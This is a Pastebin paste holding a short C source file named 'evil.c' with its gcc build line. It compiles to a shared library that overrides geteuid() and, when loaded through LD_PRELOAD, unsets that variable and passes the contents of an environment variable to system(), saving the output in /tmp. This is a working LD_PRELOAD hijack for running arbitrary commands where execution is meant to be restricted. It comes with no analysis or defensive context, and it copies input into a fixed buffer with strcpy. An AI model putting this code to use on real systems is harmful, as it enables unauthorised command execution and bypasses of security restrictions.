Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
- #include <stdlib.h>
- #include <stdio.h>
- #include <string.h>
- void payload(char *cmd) {
- char buf[512];
- strcpy(buf, cmd);
- strcat(buf, " > /tmp/_0utput.txt");
- system(buf);
- }
- int geteuid() {
- char *cmd;
- if (getenv("LD_PRELOAD") == NULL) { return 0; }
- unsetenv("LD_PRELOAD");
- if ((cmd = getenv("_evilcmd")) != NULL) {
- payload(cmd);
- }
- return 1;
- }
Add Comment
Please, Sign In to add comment